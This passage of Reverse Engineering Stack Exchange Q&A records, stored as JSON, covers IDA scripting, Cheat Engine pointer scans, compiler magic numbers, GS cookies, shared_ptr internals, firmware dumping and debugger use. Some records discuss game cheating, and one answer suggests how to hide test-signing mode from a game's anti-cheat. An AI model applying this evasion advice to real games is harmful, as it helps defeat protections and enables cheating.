    import idc\n\nfuncAddr = 0x1024D0000\nprint("funcAddr=0x%X" % funcAddr)\noldFuncType = idc.get_type(funcAddr)\nprint("oldFuncType=%s" % oldFuncType)\n\nnewFuncType = "id objc_msgSend_arrayByAddingObjectsFromArray__1024D0000(id curObj, const char * arrayByAddingObjectsFromArray_, id someArray)"\nprint("newFuncType=%s" % newFuncType)\nsetTypeRet = idc.SetType(funcAddr, newFuncType)\nprint("setTypeRet=%s" % setTypeRet)\nif setTypeRet == 1:\n  print("SetType OK [0x%X] %s -> %s" % (funcAddr, oldFuncType, newFuncType))\nelse:\n  print("! SetType failed [0x%X] %s -> %s" % (funcAddr, oldFuncType, newFuncType))\n
    \n

    output:

    \n
    oldFuncType=id(void *, const char *, ...)\n\nsetTypeRet=True\nSetType OK [0x1024D0000] id(void *, const char *, ...) -> id objc_msgSend_arrayByAddingObjectsFromArray__1024D0000(id curObj, const char * arrayByAddingObjectsFromArray_, id someArray)\n
    \n" }, { "Id": "19139", "CreationDate": "2018-08-23T01:59:57.820", "Body": "

    I'm familiar with finding a player base pointer as-well as other values in games, and finding offsets and such.\nAnd I have applied that to some of my own code in the past.

    \n\n

    But does this practice apply to instances of any class?

    \n\n

    Here's an example program.

    \n\n
    using namespace std;\n\nclass A {\npublic:\n    int i = 0;\n    virtual void doThing() {\n        i++;\n        cout << i << endl;\n    }\n\n};\n\nint main()\n{\n    A* a = new A();\n    while (1)\n    {\n        a->doThing();\n        Sleep(6000);\n    }\n    system(\"pause\");\n    return 0;\n}\n
    \n\n

    I used Cheat engine to find the address of the variable i in A::doThing. Then I used the option to find what writes to that address. From there I found what appeared to be an offset, did a pointer scan and found that example.exe+0x001A2EC was a static pointer and the value held by i was at offset 0x4.

    \n\n

    Would example.exe+0x001A2EC be considered the pointer to the instance of class A?

    \n\n

    What I'm trying to do is basically make a copy of the target program's pointer to the instance of class A, then access it's V-Table in my own code which is to be injected into the process.

    \n\n

    This is how I was trying to achieve this.

    \n\n
    DWORD Base = (DWORD)GetModuleHandle(0);\nA* a = (A*)(Base + 0x1A2EC);\nvoid** vtable = *(void***)a;\n
    \n\n

    If there's something wrong with my understanding or methodology please do point out what i am doing wrong, or suggest some other way which I can get a copy of the pointer.

    \n", "Title": "Do all class instances have a relative address/offset and can i make a copy of any class pointer?", "Tags": "|decompilation|c++|offset|vtables|cheat-engine|", "Answer": "

    I'll start with a few minor corrections and clarifications, just to make sure we're using the right terms and exact definitions.

    \n\n
    \n

    I used Cheat engine to find the address of the variable i in A::doThing

    \n
    \n\n

    First of all, i is not a variable of method A::doThing. It is a member of the A class.

    \n\n
    \n

    Then I used the option to find what writes to that address

    \n
    \n\n

    Doing this gives you the address of method A::doThing is located. Specifically, the address at which A::i is modified within that method.

    \n\n
    \n

    from there I found what appeared to be an offset, did a pointer scan

    \n
    \n\n

    I would assume you found the offset of A at which i is located, but I'm not 100% I understand what you mean by \"did a pointer scan\". I assume you subtracted the offset of i from the address found at the first stage (\"I used Cheat engine to find the address of the variable i\") to get the address of the object itself, then searched for pointers to that address.

    \n\n
    \n

    Would \"example.exe\"+0001A2EC be considered the pointer to the instance of A class?

    \n
    \n\n

    To be more accurate, example.exe+0x001A2EC would be an address of a variable of type A * (or pointer to an A instance), and it's value will be the value returned by new A();, i.e. an instance of class A, as you expect. Reading it's value will point you to where that instance of A is currently in memory.

    \n\n

    However several assumptions you have may change between releases or even for different compiled versions of the same code base.

    \n\n

    The most obvious one in your example code, is the fact you're using the exetuable's image base to access the main thread's stack. This is likely to break depending on how/where the stack is allocated for your process, and is likely to be unreliable even if executed several times in succession, depending on OS and configuration.

    \n\n

    Even if you somehow address that, there are multiple other potential complications and slight changes that could make your life harder. To name a few:

    \n\n
      \n
    1. Even if you were using the process's stack offset instead of the image base, the offset in memory where the A pointer variable, a, is located is likely to change. even just between different executions of an identical binary. For example, in your case a is stored on the stack, and if the function defining a could be called in several different flows, the stack depth at which the stack frame of the function creating a may differ. if a function a_creator may be called in either one of two flows main/a_creator and main/game_load/a_creator depending on circumstances (e.g. if you're loading a save), the offset at which a_craetor's stack frame will start will be different.
      2. \n
    2. The offset at which i is located in the A class's internal structure, may be changed because new members were added in the code. Although normally maintain the order members are defined at, optimizations may shift them around for better alignment. Different padding configuration settings may also change the location a member is actually at.
      3. \n
    3. Different optimization configurations may even completely eliminate the variable a, only storing it in a non-volatile register. This is very likely in the example implementation you provided, for example.
      4. \n
    4. A new version of the program can easily create move variables and make code changes so locations will be completely off.
      5. \n
    5. Inheritance and casting of a could lead you to different VTables than the ones you were looking for, as well as other complications.
      6. \n
    \n\n

    I hope this did not discourage you from pursuing your goal, but encouraged you to gain a better understanding of the internals and intricate world of dynamic patching.

    \n\n

    As a side note I'll include a warning about anti-cheat detection tools in a lot of games could make these endeavors quite expensive (account bans, etc).

    \n" }, { "Id": "19144", "CreationDate": "2018-08-23T06:47:39.403", "Body": "

    I am trying to hack health cheat for Shanghai Dragon PC Game using Cheat Engine. For that I following this video.

    \n\n

    After finding the required address, I tried to save the pointer scan address, then it gives me this warning message:

    \n\n

    \"enter

    \n\n

    How to get rid of this error during pointer scan?

    \n", "Title": "How to get rid of this error during pointer scan?", "Tags": "|cheat-engine|", "Answer": "

    That is not an error. It's a message you will receive the first time you start a pointer scan with a new address. After you've scanned once, you can save that pointermap with which to compare against the next scan related to the value you're interested in finding a persistent pointer path for. You can save each subsequent pointermap and keep comparing that way.

    \n\n

    The guy in the video doesn't have you do that. He has you keep the initial results window up and then keep rescanning after each restart of the game.

    \n\n

    That message is a confirmation letting you know that an initial scan can take up a vast amount of disk space, especially in hefty modern day games. The video you linked to uses Assault Cube as its game target, which is a very small game and shouldn't take very long to scan (nor should it take up much disk space).

    \n\n

    There are a few possible reasons as to why you didn't see that confirmation in the video you've linked to, so don't get too hung up on that. Just click \"Yes\" and be aware that, depending on the game you're scanning and your system, it can take anywhere from 30 seconds to 12+ hours for an initial pointer scan to complete, and your disk space can be eaten alive in the process.

    \n" }, { "Id": "19150", "CreationDate": "2018-08-24T18:56:38.640", "Body": "

    I've opened a 64 bit DLL file in IDA. One function has this pseudocode:

    \n\n\n\n
    unsigned __int64 output;\nULONG input;\noutput = (unsigned __int64)(input * (unsigned __int128)0xE38E38E38E38E38Fui64 >> 64) >> 5;\n
    \n\n

    Here is the equivalent assembly view:

    \n\n\n\n
    mov     rcx, r13\nmov     [rsp+56], rcx\nmov     edx, [rsp+152]\nmov     rax, 0E38E38E38E38E38Fh\nmul     rdx\nmov     r8, rdx\nshr     r8, 5\nmov     [r15], r8d\ncmp     r8d, esi\ncmova   r8d, ebx\n
    \n\n

    When I want to compile that same code in MSVC++, it shows:

    \n\n
    warning C4293: '>>': shift count negative or too big, undefined behavior\n
    \n\n

    My question is, what does that long constant value do? Is there anything cryptic with that bit shifting?

    \n", "Title": "What does this magic number do?", "Tags": "|disassembly|assembly|x86|compiler-optimization|", "Answer": "

    although I flagged this question should be closed as duplicate, keeping it has some additional value because of the multiple different magic number values used, redirecting users encountering different magic values to the same resource.

    \n\n

    On modern processors, integer division is one of the slowest arithmetic operations you can have a processor perform. Often orders of magnitude slower than other arithmetic operations.

    \n\n

    It turns out that if divisor is constant you can avoid the expensive division operation using clever arithmetic tricks to a set of considerably faster operations (multiplications, additions and shifts), thus reaching overall faster performance at the expense of slightly larger code.

    \n\n

    This is often called \"division by magic numbers\" because those numbers indeed often look like randomly selected numbers, that is not, however, the case. Compilers (and sometimes humans, too) use those tricks often nowadays, since size of code is less of an issue thanks to the exponential growth of storage capacity.

    \n\n

    The general approach is that we can develop an equation like the following:

    \n\n

    X / Y == X * (1/Y) == sqrt((X * 2^n) * (1/Y)), 2^n) == ((x << n) * 1/Y)>>n

    \n\n

    In your case, 0xE38E38E38E38E38Fui64 with a shift of 3 bits is the hardcoded magic number used for division by 9 for unsigned 64 bit integers. Since your code actually shifts by 5, the actual divisor equals 9 * 2^2 = 36.

    \n" }, { "Id": "19152", "CreationDate": "2018-08-25T01:43:51.107", "Body": "

    I patch the code for my work. I have a problem with code patching.\nI use IDA pro 6.8.

    \n\n

    I added code like this.

    \n\n
    (Assembly)           (Hex dump)\nmov eax, 638BACh --> B8 AC 8B 63 00\n
    \n\n

    Not problem until now, but problem occurred when start debugging.\nimmediate value change like this.

    \n\n
    (Assembly)              (Hex dump)\nmov eax, 0AC638BACh -->  B8 AC 8B 63 AC\n
    \n\n

    What's wrong with my working?

    \n", "Title": "immediate value change when start debugging", "Tags": "|ida|patching|patch-reversing|", "Answer": "

    When you start debugging, IDA automatically rebases your database to the actual load address of the program you are debugging. Due to ASLR, the runtime base address is very likely different from the base address IDA loaded the file to in the database. When the database gets rebased, IDA automatically patched all locations referenced by the relocation table. If the code you patched contained an absolute address before patching, you have a relocation entry for that address.

    \n\n

    You can verify my hypothesis by undefining the move instruction. One of the resulting \"db\" statements will have an autogenerated \"FIXUP\" comment if there is a relocation entry affecting that instruction.

    \n" }, { "Id": "19162", "CreationDate": "2018-08-27T05:58:34.227", "Body": "

    I have read many articles regarding the buffer overflow exploit. Everywhere its written as follow.

    \n\n
    \n

    \"It's difficult to know the starting address of the shellcode\"

    \n
    \n\n

    Why do we need to know the address of the shellcode? Why does stack not execute the shellcode as it is?

    \n\n

    say we inject our shellcode this way

    \n\n

    our shellcode -- some padding -- our choice of saved return\naddress

    \n\n

    should the shellcode not be executed by default by the stack? Why do we add NOP sleds and complicate things.

    \n", "Title": "Why do we need to know the address of shellcode?", "Tags": "|disassembly|assembly|gdb|buffer-overflow|shellcode|", "Answer": "

    Exploiting a software by injecting a shellcode in its memory always requires the following steps:

    \n\n
      \n

    1. Have a way to inject your shellcode in memory (usually, it can take place in any buffer of the program).

      2. \n

    2. Redirect the execution flow (i.e. be able to write on the rip) to point to the shellcode and execute it (usually, it is done through a buffer-overflow).

      3. \n
    \n\n

    If you are not sure about the address of your shellcode, the second part of the exploitation (the redirection of the eip) cannot be achieved reliably.

    \n" }, { "Id": "19165", "CreationDate": "2018-08-27T11:53:19.617", "Body": "

    Let's take an example of a 64 bits elf executable disassembled with pdf command in radare2:

    \n\n
    ...\n0x00400ac0      0f859c000000   jne 0x400b62\n...\n0x00400b62      90             nop\n...\n
    \n\n

    I want to put a label on 0x00400b62 line. It is called a \"flag\" in radare2. So i type:

    \n\n
    xxxxxx> f mylabel @ 0x00400b62\n
    \n\n

    This is great because i can see my flag when i disassemble again with pdf:

    \n\n
    ;-- mylabel:\n0x00400b62      90       nop\n
    \n\n

    But i still see 0x400b62 in jump instructions:

    \n\n
    0x00400ac0      0f859c000000   jne 0x400b62\n
    \n\n

    I would like to see:

    \n\n
    0x00400ac0      0f859c000000   jne mylabel\n
    \n\n

    How can i do that ?

    \n\n

    Thanks a lot

    \n", "Title": "radare2 labels are not displayed in jmp instructions", "Tags": "|radare2|", "Answer": "

    You should use a flag name which is separated by a dot. This is intended since registers and other stuff are also flags and to avoid overriding and confusion.

    \n\n

    For example, instead of this:

    \n\n
    [0x140008f9c]> f mylabel @ 0x140008fde\n[0x140008f9c]> pdf\n...\n|           0x140008fd5      85c0           test eax, eax\n|       ,=< 0x140008fd7      7505           jne 0x140008fde\n|       |   0x140008fd9      66895c2470     mov word [local_70h], bx\n|       |   ;-- mylabel:\n|       `-> 0x140008fde      3d04010000     cmp eax, 0x104             ; 260\n|       ,=< 0x140008fe3      7511           jne 0x140008ff6\n...\n
    \n\n

    Name it like this (loc.mylabel):

    \n\n
    [0x140008f9c]> fr mylabel loc.mylabel\n[0x140008f9c]> pdf\n...\n|           0x140008fd5      85c0           test eax, eax\n|       ,=< 0x140008fd7      7505           jne loc.mylabel\n|       |   0x140008fd9      66895c2470     mov word [local_70h], bx\n|       |   ;-- loc.mylabel:\n|       `-> 0x140008fde      3d04010000     cmp eax, 0x104             ; 260\n|       ,=< 0x140008fe3      7511           jne 0x140008ff6\n...\n
    \n" }, { "Id": "19168", "CreationDate": "2018-08-27T13:41:56.003", "Body": "

    I use Windows 7 64 bit, thus in order to load a test-signed driver, I need to enable test-signing mode.

    \n\n

    My driver bypasses some of the game's anti-cheat features to allow me to run a debugger and attach to the program.

    \n\n

    However, when I enable the test-signing mode and launch the game, its anti-cheat service detects test-signing is enabled and terminates the game.

    \n\n

    I also tried to disable the driver signature enforcement by restarting the computer and pressing F8, although the result is the same.

    \n\n

    I thought about a possible solution: set the g_CiEnabled variable to TRUE after the game's run (however, as I can't run my driver, I'd need to find a vulnerability in a signed driver and set it from there, although I think it's not worth doing all that stuff.).

    \n\n

    Is there an easier way to run the test-signed driver on 64 bit system without test-signing mode?

    \n", "Title": "Game's anti-cheat complains when driver test-signing mode is on", "Tags": "|windows|x86-64|kernel-mode|driver|", "Answer": "

    Sometimes the answer can really be more simple then you'd think.

    \n

    One approach you could take is that instead of getting your driver to load without test-signing (which seems to be your initial direction of approach), you could prevent the debugged executable from detecting test-signing it on.

    \n

    This is a link with a few suggestions on how one may detect if test-signing is enabled or not, you can search for similar looking code (e.g. calls to NtQuerySystemInformation with the SystemCodeIntegrityInformation).

    \n

    An alternative solution if your main goal is researching the executable at hand, you could consider using windows versions prior to Vista, where loading your own drivers is far easier.

    \n" }, { "Id": "19178", "CreationDate": "2018-08-28T22:34:50.660", "Body": "

    I'm working on bypassing the anti-debug checks of an unpacker in x64dbg. My end goal is to bypass all of the checks so that I can run the (unmodified) process with a debugger attached without any problems.

    \n\n

    To bypass the checks I've encountered so far, I have a process of ~15 actions of setting breakpoints, stepping over instructions, skipping syscalls under certain conditions, etc, and it takes at least a couple of minutes to get up to the point where I left off.

    \n\n

    Since doing this stuff manually is time-consuming and error-prone, I'd like to automate it.

    \n\n

    I was thinking of building a C++ application that will launch the executable, attach and bypass all of the checks I've solved so far, then suspend the program and detach, so that I can attach with x64dbg and resume my reversing... or perhaps it's a better idea to do this with an x64dbg plugin? What's the best way to do this?

    \n", "Title": "Automating bypassing anti-debug checks", "Tags": "|unpacking|x64dbg|automation|", "Answer": "

    You don't need any external plugin, this is already a builtin feature in x64dbg:

    \n\n

    \"enter

    \n" }, { "Id": "19180", "CreationDate": "2018-08-29T09:55:53.030", "Body": "

    I'm analyzing Android games with Fiddler 2 to see how the game collects data.\nThere is a problem, both Fiddler 2 and Charles Proxy doesn't capture any traffic from some online games. All i got are ads traffics.

    \n\n

    I have ensure that I have enabled proxy on Android system, have certificate installed, filtered target process and check if https decryption is working. All fine. I have reseted cert and fiddler 2 but it doesn't help

    \n\n

    I have heard it uses socket system, i don't know excatly what he meant.\nThis online game requests a lot of data. I checked logcat and i see that the game retrieved some json data but there is not enough infomation.

    \n\n

    I'm missing something there?

    \n\n

    \"enter

    \n", "Title": "Proxy debugging tool doesn't capture traffic from some online games", "Tags": "|debugging|android|proxy|", "Answer": "

    I found another software called HTTP Debugger. It does way better job capture everything that others couldn't. It is a paid software, but it's really worth for me

    \n

    https://www.httpdebugger.com/

    \n" }, { "Id": "19186", "CreationDate": "2018-08-29T16:30:59.807", "Body": "

    I'm trying to understand how this GS cookie implementation is working. From what I've read on the topic, a cookie is set during the prologue then checked again in the epilogue. Well I can see the cookie being set, but it is not like the examples I've seen online.

    \n\n

    prologue:

    \n\n
    push ebp\nmov ebp,esp\npush FFFFFFFF\npush sdk.FAB99E9               ; New Exception handler\nmov eax,dword ptr fs:[0]       ; Old Exception handler\npush eax\nsub esp,14                     ; Allocate 5 DWORDs\npush ebx\npush esi\npush edi\nmov eax,dword ptr ds:[FAC635C] ; The GS cookie (.data section)\nxor eax,ebp\npush eax                       ; The GS Cookie\nlea eax,dword ptr ss:[ebp-C]\nmov dword ptr fs:[0],eax       ; Set new Exception Handler\nmov edi,ecx                    ; Address of a vector passed as arg1\nmov dword ptr ss:[ebp-20],edi  ; local variable\nmov dword ptr ss:[ebp-1C],0    ; local variable\nmov dword ptr ds:[edi],0       ; zero the vector\nmov dword ptr ds:[edi+4],0\nmov dword ptr ds:[edi+8],0\nmov dword ptr ss:[ebp-4],0     ; sets the 0xFFFFFFFF above to 0x0\nmov dword ptr ss:[ebp-1C],1\nmov byte ptr ss:[ebp-D],0\n
    \n\n

    epilogue:

    \n\n
    mov eax,edi\nmov ecx,dword ptr ss:[ebp-C]   ; Old Exception handler\nmov dword ptr fs:[0],ecx       ; Restore Exception handler\npop ecx                        ; Pop the GS Cookie\npop edi\npop esi\npop ebx\nmov esp,ebp\npop ebp\nret \n
    \n\n

    The function commented as \"New Exception Handler\", does contain a Cookie check. But I've never been able to step into it.

    \n\n

    Can anybody explain how this works and what it might look like in C++? Or, more specific to my needs, is this a try/catch block in the original code or added by the compiler?

    \n", "Title": "GS Cookie and exception handlers", "Tags": "|x86|buffer-overflow|exception|", "Answer": "
    \n

    The function commented as \"New Exception Handler\", does contain a Cookie check. But I've never been able to step into it.

    \n
    \n\n

    Since the exception handler is called only during an exception, it won't be called during normal execution, so this is expected behavior.

    \n\n

    As for the missing cookie check in the epilog, apparently your function is not using the plain old GS cookie (return address overwrite protection via simple comparison) but only the improved EH+GS cookie (local variables + EH data + return address protection with the extra XOR check).

    \n\n

    Commented function prolog (comments refer to final offsets in the frame):

    \n\n
     push    ebp             ; [EBP+0] save old EBP\n mov     ebp, esp        ; set up ebp frame (ESP=EBP)\n push    0FFFFFFFFh      ; [EBP-4] push initial state\n push    offset SEH_1000BF50 ; [EBP-8] SEH handler for the function\n mov     eax, large fs:0 ; read SEH chain list head\n push    eax             ; [EBP-C] pointer to previous SEH record\n sub     esp, 14h        ; allocate space for local vars and move to the saved registers area.\n push    ebx             ; [EBP-18] save ebx\n push    esi             ; [EBP-1C] save esi\n push    edi             ; [EBP-20] save edi\n mov     eax, ___security_cookie\n xor     eax, ebp        ; xor the cookie to make it harder to forge\n push    eax             ; EBP-24 push XOR'ed cookie\n lea     eax, [ebp-0Ch] ; eax = &SEH_record\n mov     large fs:0, eax ; insert our SEH entry at start of list\n
    \n\n

    final stack frame layout:

    \n\n
    EBP-30 xored EH cookie  \nEBP-2C saved edi\nEBP-28 saved esi\nEBP-24 saved ebx\nEBP-20 <local variables>\nEBP-0C SEH pointer to previous record\\\nEBP-08 SEH handler                    | extended SEH record\nEBP-04 EH state                      /\nEBP+00 saved EBP\nEBP+04 return address\n
    \n\n

    In case of an exception, the check happens in the function-specific SEH handler before jumping to ___CxxFrameHandler3 which performs C++ exception handling or stack unwinding:

    \n\n
    SEH_1000BF50:\n  mov     edx, [esp+8]    ; (1) get pointer to current SEH record\n  lea     eax, [edx+0Ch]  ; edx <- original frame pointer (function's EBP)\n  mov     ecx, [edx-24h]  ; get xor'ed cookie at orig_ebp-30h\n  xor     ecx, eax        ; xor them together\n  call    @__security_check_cookie@4 ; check expected value\n  mov     eax, offset stru_10034344\n  jmp     ___CxxFrameHandler3   ; handle C++ exceptions/unwinding\n
    \n\n

    (1) gets the second argument of the SEH handler (EstablisherFrame), which points to the active SEH record which was stored at EBP-C in the function, so we adjust it by 0Ch to get the original EBP value which is used for xoring with the cookie value (originally stored at [EBP-30h], or at -24h from the SEH record), and the xor result is compared with the expected value by __security_check_cookie().

    \n\n

    I guess the compiler decided that there is no need to protect just the return address because there are no buffers in the function (see \"GS Buffers\" in MSDN), and any other overwrite will trash the EH cookie and will be detected in case of exception.

    \n\n

    BTW, the state variable at [ebp-4] uniquely identifies a state in the function's execution. This allows the C++ exception handler (e.g. __CxxFrameHandler) to destroy any automatic objects leaving their scope due to the exception and unwind the state to the starting one (usually value -1). So this exception handler setup does not correspond to a \"try/catch block\" but has been added by the compiler for the whole function. However, the state transitions (writes to the try level variable may correspond to try block boundaries (or just scope boundaries).

    \n\n

    For more background on Visual C++ exception handling implementation (both C-style SEH and C++ EH), check out my article on the topic (and its references).

    \n" }, { "Id": "19189", "CreationDate": "2018-08-29T18:26:37.957", "Body": "

    Sometimes a program displays images that don't exist as jpegs or bmps that come with the program so they have to be residing inside the exe itself or inside a DLL that comes with the program. So My question is, how does the program access the image in the DLL in assembly and in what format is the image typically stored there?\nI also have a question about text that the program displays but the text is nowhere to be seen either in the exe or dll, so where is that text stored or is it possibly encrypted?

    \n\n

    For example the \"made with Unity\" splash screen in unity.

    \n", "Title": "How are images found inside DLLs accessed?", "Tags": "|windows|dll|pe-resources|", "Answer": "

    First find the DLL or EXE file that you want to access for that resource. THe main goal is to create a handle for that resource/image file, as everything in Windows has to accessed by an object/handle.

    \n

    Procedure

    \n
      \n
    • Get a handle of that DLL/EXE file with LoadLibrary():
      • \n
    \n\n
    HMODULE hModule = LoadLibrary("FileName.dll");\n
    \n
      \n
    • Determine the location of that resource with FindResource():
      • \n
    \n\n
    HRSRC hResInfo = FindResource(hModule, ResourceName, RT_ICON);\n
    \n
      \n
    • Retrieves a handle of the resource in memory with LoadResource():
      • \n
    \n\n
    HGLOBAL hResData = LoadResource(hModule, hResInfo);\n
    \n
      \n
    • Retrieves a pointer of the resource in memory with LockResource():
      • \n
    \n\n
    HANDLE lpBuffer = LockResource(hResData);\n
    \n
      \n
    • Retrieves the size, in bytes, of the resource with SizeofResource():
      • \n
    \n\n
    DWORD dwSize = SizeofResource(hModule, hResInfo);\n
    \n
      \n
    • Open a handle of that resource with CreateFile():
      • \n
    \n\n
    HANDLE hFile = CreateFile(FileName, GENERIC_ALL, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n
    \n

    Change RT_ICON flags with the Resource Type that you want to access. Now use the hFile handle with WriteFile() to make a file or ReadFile() to read that file.

    \n

    Example

    \n

    Here is an example of C code to extract the first icon from shell32.dll and save it as image.png file:

    \n\n
    #include <Windows.h>\n\nBOOL ExtractResource(PSTR ResName, PSTR FileName) {\n    HMODULE hModule = LoadLibrary("shell32.dll");\n    HRSRC hResInfo = FindResource(hModule, ResName, RT_ICON);\n    HGLOBAL hResData = LoadResource(hModule, hResInfo);\n    HANDLE lpBuffer = LockResource(hResData);\n    DWORD dwSize = SizeofResource(hModule, hResInfo);\n    HANDLE hFile = CreateFile(FileName, GENERIC_ALL, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n    BOOL result = WriteFile(hFile, lpBuffer, dwSize, 0, 0);\n    return result;\n}\n\nint main() {\n    ExtractResource("#1", "image.png");\n}\n
    \n\n" }, { "Id": "19201", "CreationDate": "2018-08-30T14:53:28.620", "Body": "

    I have a \"MiracleBox\" software for GSM repairing and and old cell phone (Wiko Lubi 4) with a RD8851CL chip inside.

    \n\n

    With this MiracleBox running on Windows I can make a dump of this chip without disassembling the phone, or rewrite the phone password and a lot of more cool things...

    \n\n

    I had the idea to do it manually...

    \n\n

    I just had to connect the phone to my computer with USB and to put the phone in \"Download Mode\" (Pressing key 0 for few secs) and then I pressed \"Read\" in the software.\nIt's really easy to get a bin file with the entire firmware inside.

    \n\n

    I decided to open this firmware with a hexadecimal editor then I found the phone's password and I changed it and finally I rewrote the firmware to the phone with MiracleBox software.

    \n\n

    Now I'm looking for some help because I want to dump the chip without any MiracleBox and I want to do this with Linux...

    \n\n

    I plugged the phone (download mode) to my laptop running debian, then I did \"dmesg\" command in terminal.\nThis is the output of the command.

    \n\n
    [110290.523173] usb 3-2: new full-speed USB device number 9 using ohci-pci\n[110290.720228] usb 3-2: New USB device found, idVendor=1e04, idProduct=0904, bcdDevice=34.10\n[110290.720239] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3\n[110290.720244] usb 3-2: Product: WIKO\n[110290.720250] usb 3-2: Manufacturer: Removable disk\n[110290.720255] usb 3-2: SerialNumber: USB Controller 1.0\n
    \n\n

    Can somebody give me some explanations in way to dump the chip with linux command lines?\nIt's the first time that I try to reverse a firmware etc and I'm not a professional.... I just want to learn and progress.\nIf it's necessary, I have the full datasheet of RDA8851CL chip (It's too hard to understand for me to be honest)

    \n\n

    Thank you so much.

    \n", "Title": "How to dump a firmware from an old cell phone with Linux?", "Tags": "|firmware|linux|dumping|dump|", "Answer": "

    Looks like Wiko use Android as OS [based on http://www.wikogeek.com/], so Android tricks should work here as well.

    \n\n

    If you need access to SoC on RDA8851CL in more \"user-friendly\" way, try to connect to it with adb:

    \n\n

    For Windows: http://kernel.wikomobile.com/WIKO_Android_USB_Driver.zip

    \n\n

    For Linux: Follow the following manual from XDA: https://forum.xda-developers.com/android/software/guide-installing-adb-fastboot-linux-adb-t3478678

    \n\n

    Note: Wiko generally work with MTK drivers, in case links i gave here are not work.

    \n\n

    After you install the software and drivers successfully, connect adb like this:

    \n\n
    adb shell\n
    \n\n

    This should open you the command line to your mobile device internal SoC

    \n\n

    Command you are looking for to dump the content is:

    \n\n
    mkdir dump/\ncd dump/\nadb pull /path/\n
    \n\n

    When done, content of folder on your device will be dumped to new dump/ folder.

    \n\n

    Note: refrain to perform \"adb pull /\" - since in Linux \"everything is a file\", you will end up with multiple errors trying to pull /dev and /proc

    \n\n

    Good luck,

    \n\n

    D.L.

    \n" }, { "Id": "19207", "CreationDate": "2018-08-31T08:26:58.243", "Body": "

    I've come across a set of instructions using lock xadd which I'm guessing came from one of the C++ smart pointer templates. (It's been a very long time since I coded C++ so I'm not sure which).

    \n\n
    lea ecx,dword ptr ds:[edi+0x4]   ; edi is a class object\nor eax,0xFFFFFFFF\nlock xadd dword ptr ds:[ecx],eax ; add -1 to edi[1]\njne sdk.1000C801\nmov eax,dword ptr ds:[edi]       ; edi's vtable\nmov ecx,edi                      ; prepare thiscall\ncall dword ptr ds:[eax]          ; call edi->vtable[0] ??\n
    \n\n

    I can see a member of edi is decreased, but how does this effect ZF and when would the jne not be taken? This part of the code is never executed since edi is always 0, so I cannot step though.

    \n\n

    To me it looks like a smart pointer, and when the value becomes 0 a destructor is called. To add to my confusion, there are two of these, side by side. The first operates on edi[1] the second on edi[2] which calls vtable[1].

    \n", "Title": "How does the XADD instruction modify the Zero Flag?", "Tags": "|assembly|x86|", "Answer": "

    The question about the zero flag and the xadd instruction has been sufficiently answered by josh. This answer is meant to add some surrounding information about the smart pointer you see.

    \n\n

    What you see is typical code for shared_ptr, the standard reference counting smart pointer in the C++ standard library. A shared_ptr object (that is the pointer itself, not what it points to!) contains two(!) pointer values. The first pointer points to the pointee, the second pointer points to a management object. The management objects contains the vtable pointer followed by two reference counts, followed by other stuff depending on the specific kind of management object (for example, if the deleter is not stateless, the deleter's state is also included in the management object). The first reference count in the management object contains the number of strong references to the object (i.e. the number of shared_ptrs pointing to that object), whereas the second reference count contains the number of references to the management object. All strong references together count as a single reference to the management object, but every weak_ptr counts as an individual further reference to the management object.

    \n\n

    Whenever a (non-null) shared_ptr goes out of scope, the count of strong references is decreased. If the count of strong references reaches zero, the lifetime of pointee ends, and the first vtable function is called to destroy the pointee. This invokes the deleter specified when creating the shared pointer (which (indirectly) defaults to delete (possibly delete[]for arrays) if no deleter was specified). Furthermore, after deletion of the object, the cumulative reference to the management object for all strong references is also decreased. If that reference count reaches zero, the management object can be destroyed, by calling the second vtable function.

    \n\n

    When a (non-null) weak_ptr goes out of scope, just the reference count to the management object is decreased (as the weak_ptr does not carry a strong reference). If this reference count reaches zero, there are no strong references (because otherwise the cumulative reference to the management would still exist), and no other weak_ptrs. The pointee has already been destroyed when the last strong reference went out of scope, so just the management object has be destroyed (again, by calling the second vtable entry).

    \n\n

    There is an optimization possibility when the pointee and the management object are created at the same time. In that case, the memory for both objects can be allocated in one block. The management object in that case is no bigger than the vtable and the two reference counts and precedes the pointee. The first vfunction just calls the destructor of the pointee, but does not free its memory. The second vfunction destroys the memory block containing the management object and the already destroyed pointee. This optimization is taken when a shared_ptr is created using make_shared. The downside of this optimization is that the memory block for the pointee is freed only when no weak or strong refences exist, instead of already then just the strong references are gone. In most use cases of shared_ptr, there are no weak_ptrs, so the downside usually does not matter.

    \n" }, { "Id": "19212", "CreationDate": "2018-08-31T14:14:07.140", "Body": "

    In the debugger program OllyDbg, How do I set a breakpoint when the left mouse button is pressed? It doesn't matter what it clicks on, so upon mouse click, the breakpoint stops the debugger.

    \n", "Title": "How to set a Mouse Click BreakPoint in OllyDbg?", "Tags": "|ollydbg|breakpoint|", "Answer": "

    All messages in a gui application passes through the Application Defined Callback WinProc whose prototype is

    \n\n
    LRESULT CALLBACK WindowProc(\n  _In_ HWND   hwnd,\n  _In_ UINT   uMsg,\n  _In_ WPARAM wParam,\n  _In_ LPARAM lParam\n);\n
    \n\n

    so when you have breakpointed on a wndproc

    \n\n
    esp    -> return Address\nesp+4  -> hwnd \nesp+8  -> uMsg  \n.....\n
    \n\n

    ** MSDN Doc For List of messages**

    \n\n

    to know a windoproc or class proc \nuse alt+w shortcut in ollydbg (opens a list of windows )\nright click to open the context menu and follow Either Wndproc or ClassProc\nfor the appropriate window of choice

    \n\n

    hit shift+f4 and set a log breakpoint that never pauses and \nset the function type to be WndProc (Assume Function Of Type DropDown)

    \n\n

    see screen shot below\n\"enter

    \n\n

    and run the app

    \n\n

    go to log window and observe you will see a lot of logs like this

    \n\n
